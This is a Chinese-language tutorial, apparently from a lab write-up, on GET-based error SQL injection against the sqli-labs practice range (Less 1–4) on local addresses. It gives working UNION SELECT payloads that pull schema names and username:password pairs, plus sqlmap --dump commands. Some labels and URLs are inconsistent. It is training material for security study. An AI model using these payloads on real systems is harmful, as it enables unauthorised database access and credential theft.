一)GET基于报错的SQL注入
1)SQL注入的分类
2)get基于报错的SQL注入发现
less1(get型单引号字符型报错)
less2(get型单引号数字型报错)
less3(get型单引号+括号闭合字符型报错)
less4(get型双引号字符型报错)
3)get基于报错的SQL注入利用
less1
less2
less3
less4
4)利用sqlmap测试
——————————————————————————————————————————————————
一)GET基于报错的SQL注入
1)SQL注入的分类
根据注入位置数据类型可以将SQL注入分为两类:
a)数字型:select * from 表名 where id=id值;
b)字符型:select * from 表名 where id='id值';
2)get基于报错的SQL注入发现
通过在url中修改对应的id值(例如:正常的数字、大数字、字符【单引号、双引号、括号】、反斜杠)来探测url中是否存在注入点。
注:url编码——将url中出现的特殊字符或者汉字变换为浏览器可以识别的内容。
url编码:
%27————'
%20————空格
%22————"
hex码:
0x3a————:
0x7E————~
sqli-labs靶场(less1-4的get型基于报错的SQL注入):
a)环境:
win7(有phpstudy):192.168.1.106
kali(在kali浏览器中访问win7中的靶场):192.168.1.
b)less1(get型单引号字符型报错)
I)根据less1的提示(请输入id作为有数值的参数):
构造url:
测试id的有效数值:
id=1(正常返回用户1的账号密码)
id=2(正常返回用户2的账号密码)
id=3(正常返回用户3的账号密码)
...
id=15(正常返回,但是此时已经没有用户了)
注:之所以不用 192.168.1.106/sqli/index.php?id=1 而是
直接192.168.1.106/sqli/?id=1 是因为我们已经将index.php设置为默认的首页了,
只要有设置默认页面即使没有将它加在url也可以,如果没有设置默认页面那么就一定要
将index.php等页面加在url中。
结论:id的最大值(用户数量)为14。
构造url:
判断参数id是否存在SQL注入:
id=1(正常)
id=1'(报错)
解析:
id=1’ 报错信息为:near ''1'' limit 0,1' at line 1
【错误在’1’’ limit 0,1 附近】
I)先去掉报错信息自动为字符串加上的’ ‘就剩下 near '1'' limit 0,1 at line 1
II)我们构造url时输入的id值是 1'
,去掉1’ 就剩下 near '' limit 0,1 at line 1
III)猜测正确的SQL语句为:select login_name,password from admin where id='1' limit 0,1;
(可见是单引号字符型)而我们构造后就变成:select login_name,password from admin where id='1'' limit 0,1;
多了一个单引号所以报错位置就是在 '14'' limit 0,1
这里。
c)less2(get型单引号数字型报错)
构造url:
判断参数id是否存在SQL注入:
id=1
id=1'
解析:
id=1’ 报错信息为:near '' limit 0,1' at line 1
【错误在 ‘limit 0,1 附近】
I)先去掉报错信息自动为字符串加上的’ '就剩下 near ' limit 0,1 at line 1
II)猜测正确的SQL语句为:select login_name,password from admin where id=1 limit 0,1;
(可见是数字型)
II)我们构造url时输入的id值是 1'
,变成:select login_name,password from admin where id=1' limit 0,1;
多了一个单引号所以报错位置就是在 ' limit 0,1
这里。
d)less3(get型单引号+括号闭合字符型报错)
构造url:
判断参数id是否存在SQL注入:
id=1(正常)
id=1'(报错)
id=1')--+或者id=1')--%20 (正常)
解析:
id=1" 报错信息为:near '"1"") limit 0,1' at line 1
【错误在 “1"”) limit 0,1 附近】
I)先去掉报错信息自动为字符串加上的’ '就剩下 near "1"") limit 0,1 at line 1
II)报错信息中知道正常是有一对单引号的,但是还额外多了一个单引号和一个括号,证明程序本身是id=(‘id值’
III)猜测正确的SQL语句为:select login_name,password from admin where id=('id值') limit 0,1;
(可见是数字型)
IV)我们构造url时输入的id值是 1'
,变成:select login_name,password from admin where id=('14'' limit 0,1;
多了一个单引号并且原本的括号没有闭合,所以报错位置就是在 '1'') limit 0,1
这里。
V)此时有效的的url应该是:id=1') --+
或者 id=1') --%20
e)less4(get型双引号字符型报错)
构造url:
判断参数id是否存在SQL注入:
id=1(正常)
id=1'(正常)
id=1)(正常)
id=1"(报错)
id=1\(报错)
id=1" --+ 或者 id=1" --%20
解析:
I)在mysql中用双引号引起来的字符串那么即使双引号中有括号、单引号也无用,也就是说此时 id="1')"
此时对于mysql而言就只是 id="1"
II)在mysql中\是转义的作用,也就是说原本单独出现 "
是符号,而 \"
就是字符串
III)id=1\ 报错信息为:near '''1\'') limit 0,1' at line 1
【错误在 “1’’) limit 0,1 附近】
I)先去掉报错信息自动为字符串加上的’ ‘就剩下 near "1\'') limit 0,1 at line 1
II)报错信息中知道正常是有一对双引号的,但是还额外多了一个双引号和一个括号,证明程序本身是id=(“id值”
III)猜测正确的SQL语句为:select login_name,password from admin where id=("id值") limit 0,1;
(可见是数字型)
IV)我们构造url时输入的id值是 1\,变成:
select login_name,password from admin where id=("1’’ limit 0,1;原本的一对双引号的右边变成字符串而少了一个双引号并且原本的括号没有闭合,所以报错位置就是在
“1’’) limit 0,1这里。 V)此时有效的的url应该是:
1”) --+或者
1”) --%20`
3)get基于报错的SQL注入利用
1)判断是否存在SQL注入,若存在是字符型还是数字型
2)判断字段数————order by
3)利用union select联合查询获取表名
4)利用union select联合查询获字段名
5)利用union select联合查询获字段值
a)less1:
判断字段数————order by
根据前面less1的解析,正常的SQL语句是:select login_name,password from admin where id='id' limit 0,1;
,此时要使用order by那么SQL语句有效的SQL语句就是:select login_name,password from admin where id='id' order by 10 --+' limit 0,1;
所以构造的就是 1' order by 1 --+
II)判断字段数:
1' order by 1 --+(正常)
1' order by 2 --+(正常)
1' order by 3 --+(正常)
1' order by 4 --+(错误)
结论:一行中的字段数为3。
用 hackbar 结合 union select 获取字段位置:
此时自动补全 union select 1,2,3
:
id=-1' union select 1,2,3 --+
利用union select联合查询获取所有库名
id=-1' UNION SELECT 1,group_concat(schema_name),3 from information_schema.schemata --+
利用union select联合查询获取表名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
利用union select联合查询获字段名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
利用union select联合查询获字段值
-1' union select 1,group_concat(username,0x3a,password,0x7E,0x7E),3 from users --+
注:因为less1是字符型所以如果采用数字型是没有效果的:
b)less2:
用 hackbar 结合 union select 获取字段位置:
id=1(正常)
id=1'(错误)
id=1"(错误)
id=1' --+(错误)
id=1" --+(错误)
判断字段数————order by
id=1 order by 1 (没响应)
...
id=1 order by 4 (还是同order by 1 的页面相同,没响应)
id=1 order by 1' --+ (正常)
...
id=1 order by 4' --+(错误)
结论:是数字型,字段数是3。
判断字段显示位置:
利用union select联合查询获取所有库名
http://192.168.67.143/sqli/Less-1/?id=-1' UNION SELECT 1,group_concat(schema_name),3 from information_schema.schemata --+
利用union select联合查询获取表名
http://192.168.67.143/sqli/Less-1/?id=-1' UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
利用union select联合查询获字段名
http://192.168.67.143/sqli/Less-1/?id=-1' UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
利用union select联合查询获字段值
http://192.168.67.143/sqli/Less-1/?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 from users --+
c)less3:
id=1—(正常)
id=1'(错误)
id=1')(错误)
id=1') --+(正常)
获取字段数:
判断字段显示位置:
http://192.168.67.143/sqli/Less-3/?id=1') UNION SELECT 1,2,3 --+
利用union select联合查询获取所有库名
http://192.168.67.143/sqli/Less-3/?id=-1') UNION SELECT 1,group_concat(schema_name),3 from information_schema.schemata --+
利用union select联合查询获取表名
http://192.168.67.143/sqli/Less-3/?id=-1') UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema='dvwa' --+
利用union select联合查询获字段名
http://192.168.67.143/sqli/Less-3/?id=-1') UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_schema='dvwa' and table_name='users' --+
利用union select联合查询获字段值
http://192.168.67.143/sqli/Less-3/?id=-1') UNION SELECT 1,group_concat(username,0x3a,password),3 from users --+
d)less4:
id=1(正常)
id=1'(同id=1一个页面,没响应)
id=1"(报错)
id=1") (报错)
id=1") --+ (正常)
判断字段显示位置:
http://192.168.67.143/sqli/Less-4/?id=1") UNION SELECT 1,2,3 --+
利用union select联合查询获取所有库名
http://192.168.67.143/sqli/Less-4/?id=-1") UNION SELECT 1,group_concat(schema_name),3 from information_schema.schemata --+
利用union select联合查询获取表名
http://192.168.67.143/sqli/Less-3/?id=-4") UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema='dvwa' --+
利用union select联合查询获字段名
http://192.168.67.143/sqli/Less-4/?id=-1") UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_schema='dvwa' and table_name='users' --+
利用union select联合查询获字段值
http://192.168.67.143/sqli/Less-4/?id=-1") UNION SELECT 1,group_concat(username,0x3a,password),3 from users --+
4)利用sqlmap测试
a)判断是否存在SQL注入:
python sqlmap.py -u "http://192.168.67.143/sqli/Less-1/?id=1" --batch
结果图:
结论:存在“布尔盲注”、“报错显注”、“时间盲注”、“union联合查询注入”。
b)爆出所有数据库:--dbs
python sqlmap.py -u "http://192.168.67.143/sqli/Less-1/?id=1" --dbs --batch
解析:有加 --batch 就可以将后面的交互询问都选择默认选项而不用我们手动选择
结果图:
c)爆出指定数据库security中所有表:--tables
python sqlmap.py -u "http://192.168.67.143/sqli/Less-1/?id=1" -D security --tables --batch
结果:
d)爆出指定数据库security中指定表users中所有字段:--columns
python sqlmap.py -u "http://192.168.67.143/sqli/Less-1/?id=1" -D security -T users --columns --batch
结果:
e)指定字段的数据dump出来:
python sqlmap.py -u "http://192.168.67.143/sqli/Less-1/?id=1" -D security -T users -C password,username --dump --batch
结果:
less2-4的sqlmap使用方法相同就不再累赘讲解。